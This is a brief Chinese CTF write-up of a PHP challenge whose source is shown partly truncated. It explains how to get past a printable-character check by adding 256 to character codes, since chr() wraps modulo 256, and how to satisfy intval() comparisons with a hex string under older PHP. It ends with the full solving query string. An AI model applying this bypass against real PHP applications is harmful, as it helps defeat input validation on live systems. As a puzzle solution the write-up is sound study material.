intval的绕过和chr的利用

题目

 32 && $value[$i] < 127) unset($value);
    else $username .= chr($value[$i]);
    if ($username == 'w3lc0me_To_xid1an' && intval($password) < 232 && intval($password + 1) > 233) {
        echo 'Hello '.$username.'!', '
', PHP_EOL; echo $flag, '
'; } } highlight_file(__FILE__);

if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == 'w3lc0me_To_xid1an' && intval($password) < 232 && intval($password + 1) > 233) {
      echo 'Hello '.$username.'!', '
', PHP_EOL; echo $flag, '
';

这里我们知道需要自己写个数组来chr取模 为w3lc0me_To_xid1an
1.chr为自动模256 所以我们可以在原来上加上256 绕过第一个判断先
2.intval()在处理16进制时存在问题,但强制转换时是正常的 来绕过第二个判断
intval(字符串)为0 但是intval(字符串+1) 会自动转换成数值的
php7里面修复了这个东西

value[0]=375&value[1]=307&value[2]=364&value[3]=355&value[4]=304&value[5]=365&value[6]=357&value[7]=351&value[8]=340&value[9]=367&value[10]=351&value[11]=376&value[12]=361&value[13]=356&value[14]=305&value[15]=353&value[16]=366&password=0x123

你可能感兴趣的:(CTF)